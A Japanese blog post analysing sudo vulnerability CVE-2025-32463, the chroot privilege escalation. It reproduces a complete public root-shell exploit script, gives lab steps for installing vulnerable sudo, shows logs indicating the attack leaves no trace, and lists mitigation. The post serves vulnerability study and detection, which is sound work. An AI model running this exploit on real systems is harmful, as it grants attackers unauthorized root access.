2025年6月30日にsudoの脆弱性「CVE-2025-32463」が公開されました。
概要
- Cvss 3 Severity Score:9.3 · Critical
- CVSS Score / CVSS Vector NVD: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N Red Hat: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
- 影響を受けるバージョン:Sudo バージョン 1.9.14~1.9.17
chroot オプション (-R) を悪用することで、ローカルの非権限ユーザーが権限をrootに昇格できる可能性がある脆弱性。
なお、1.9.14 より前のバージョン(<= 1.8.32)は、chroot 機能が存在しないため影響を受けない。
CVE-2025-32463の原因
CVE-2025-32463は、sudo バージョン1.9.14(2023年6月リリース)の更新により導入されたコマンド・マッチング処理コードが起因となっている。
この脆弱性により、ローカルの非権限ユーザーでも、非権限ユーザーが書き込み可能なパスに対して chroot() を実行し、それを Sudo が root 権限で処理してしまう問題が発生。
その結果、NSS (Name Service Switch) 操作がトリガーされると、攻撃者が用意した chroot 環境内の /etc/nsswitch.conf設定ファイルの読み込みが行われる。この過程で攻撃者が任意のコマンドをroot権限で実行可能とり、非権限ユーザーがrootに昇格可能となる。
エクスプロイト
以下のエクスプロイトを使用。
#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
# @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1
cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash", "/bin/bash", NULL);
}
EOF
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}
GitHub - kh4sh3i/CVE-2025-32463: Local Privilege Escalation to Root via Sudo chroot in Linuxより

エクスプロイトを使用したところ、このように非権限のユーザー「lowuser」だったにも関わらずroot権限を獲得していることがわかる。
※脆弱性再現のために用意したUbuntu 24.04.2 LTSはSudo バージョンが1.9.15p5だったが、パッチ適用済みだったためエクスプロイトを使用できなかった。アーカイブにも見つからなかったので下記のように無理やり1.9.15p2をダウンロードし解凍、適用。
wget https://www.sudo.ws/dist/sudo-1.9.15p2.tar.gz tar -xzf sudo-1.9.15p2.tar.gz cd sudo-1.9.15p2 ./configure --prefix=/usr --with-secure-path --with-env-editor --without-pam make sudo make install
Sudo バージョン確認
#sudo --version Sudo バージョン 1.9.15p2 sudoers ポリシープラグイン バージョン 1.9.15p2 sudoers ファイル文法バージョン 50 Sudoers I/O plugin version 1.9.15p2 Sudoers audit plugin version 1.9.15p2
↑できた
(バージョンを合わせたい場合は、ソースコードからインストールも可能でした)
本脆弱性が使用された際のログ例
確認したログ
/var/log/auth.log:認証関連のログ
/var/log/secure:セキュリティ関連のログ(一部のシステムのみ)
/var/log/syslog:システム全体のログ
今回検証に使用したUbuntuではセキュリティ関連のログが/var/log/auth.logに保存されるため、脆弱性使用直後にauth.logとsyslogを確認。(権限昇格に成功したのは2025-08-21 21:18頃)
# /var/log/auth.log 2025-08-21T21:15:49.397488+09:00 ubuntu-VirtualBox gnome-keyring-daemon[3652]: discover_other_daemon: 1 2025-08-21T21:15:49.411957+09:00 ubuntu-VirtualBox gnome-keyring-daemon[3654]: discover_other_daemon: 1 2025-08-21T21:15:50.348904+09:00 ubuntu-VirtualBox polkitd[884]: Registered Authentication Agent for unix-session:2 (system bus name :1.76 [/usr/bin/gnome-shell], object path /org/freedesktop/PolicyKit1/AuthenticationAgent, locale ja_JP.UTF-8) 2025-08-21T21:15:51.048282+09:00 ubuntu-VirtualBox gdm-launch-environment]: pam_unix(gdm-launch-environment:session): session closed for user gdm 2025-08-21T21:15:51.061693+09:00 ubuntu-VirtualBox systemd-logind[904]: Session c1 logged out. Waiting for processes to exit. 2025-08-21T21:15:51.066809+09:00 ubuntu-VirtualBox polkitd[884]: Unregistered Authentication Agent for unix-session:c1 (system bus name :1.39, object path /org/freedesktop/PolicyKit1/AuthenticationAgent, locale ja_JP.UTF-8) (disconnected from bus) 2025-08-21T21:15:51.071074+09:00 ubuntu-VirtualBox systemd-logind[904]: Removed session c1. 2025-08-21T21:16:01.268356+09:00 ubuntu-VirtualBox (sd-pam): pam_unix(systemd-user:session): session closed for user gdm 2025-08-21T21:17:01.876634+09:00 ubuntu-VirtualBox CRON[4538]: pam_unix(cron:session): session opened for user root(uid=0) by root(uid=0) 2025-08-21T21:17:01.883429+09:00 ubuntu-VirtualBox CRON[4538]: pam_unix(cron:session): session closed for user root 2025-08-21T21:24:54.340038+09:00 ubuntu-VirtualBox dbus-daemon[875]: [system] Failed to activate service 'org.bluez': timed out (service_start_timeout=25000ms) 2025-08-21T21:25:01.911106+09:00 ubuntu-VirtualBox CRON[5774]: pam_unix(cron:session): session opened for user root(uid=0) by root(uid=0)
auth.logでは権限昇格に成功した21:18付近のログは確認されなかった。
#/var/log/syslog 2025-08-21T21:16:07.261762+09:00 ubuntu-VirtualBox tracker-miner-fs-3[4445]: (tracker-extract-3:4445): GLib-GIO-WARNING **: 21:16:07.260: Error creating IO channel for /proc/self/mountinfo: 無効な引数です (g-io-error-quark, 13) 2025-08-21T21:16:13.008589+09:00 ubuntu-VirtualBox systemd[1]: fprintd.service: Deactivated successfully. 2025-08-21T21:16:20.984660+09:00 ubuntu-VirtualBox systemd[1]: systemd-localed.service: Deactivated successfully. 2025-08-21T21:16:21.153878+09:00 ubuntu-VirtualBox systemd[1]: systemd-hostnamed.service: Deactivated successfully. 2025-08-21T21:16:42.993586+09:00 ubuntu-VirtualBox geoclue[3328]: Service not used for 60 seconds. Shutting down.. 2025-08-21T21:16:42.999672+09:00 ubuntu-VirtualBox systemd[1]: geoclue.service: Deactivated successfully. 2025-08-21T21:16:50.151302+09:00 ubuntu-VirtualBox systemd[3419]: Started app-gnome-ubuntu\x2dadvantage\x2dnotification-4462.scope - Application launched by gnome-session-binary. 2025-08-21T21:16:50.151500+09:00 ubuntu-VirtualBox systemd[3419]: Started app-gnome-update\x2dnotifier-4465.scope - Application launched by gnome-session-binary. 2025-08-21T21:17:01.878148+09:00 ubuntu-VirtualBox CRON[4539]: (root) CMD (cd / && run-parts --report /etc/cron.hourly) 2025-08-21T21:17:11.103492+09:00 ubuntu-VirtualBox update-notifier.desktop[4487]: WARNING:root:timeout reached, exiting 2025-08-21T21:20:20.828011+09:00 ubuntu-VirtualBox anacron[872]: Job `cron.daily' started 2025-08-21T21:20:20.834887+09:00 ubuntu-VirtualBox anacron[4588]: Updated timestamp for job `cron.daily' to 2025-08-21
また、syslogにおいても、権限昇格に成功した21:18付近のログは確認されなかった。
#sudo grep -a "chroot" /var/log/syslog 2025-08-21T21:15:21.043434+09:00 ubuntu-VirtualBox avahi-daemon[874]: Successfully called chroot(). 2025-08-21T21:15:41.066956+09:00 ubuntu-VirtualBox rtkit-daemon[2953]: Successfully called chroot. 2025-08-21T21:35:25.190988+09:00 ubuntu-VirtualBox avahi-daemon[885]: Successfully called chroot(). 2025-08-21T21:35:45.474536+09:00 ubuntu-VirtualBox rtkit-daemon[2916]: Successfully called chroot.
syslogからchrootを含む列を検索したところ、成功した時間帯のchrootのログが確認されなかった。このことから、本脆弱性を使用した際は「Successfully called chroot.」といったログが記録されない可能性がある。
以上の結果から、システムに残されたログから本脆弱性が使用されたタイミングを特定することは困難であるため、bush_historyなどのログを総合的に見て推測する必要がある。
緩和策
- Sudo 1.9.17p1以降へのアップデート
Sudo 1.9.17p1 以降のバージョンでは、chroot オプション自体が廃止され、脆弱な pivot_root() および unpivot_root() 関数も削除されているそう。
参考
CVE-2025-32462・CVE-2025-32463とその対策
Linux Sudo の脆弱性 CVE-2025-32463 が FIX:Ubuntu/Fedora デフォルト・コンフィグへの影響と PoC の存在 – IoT OT Security News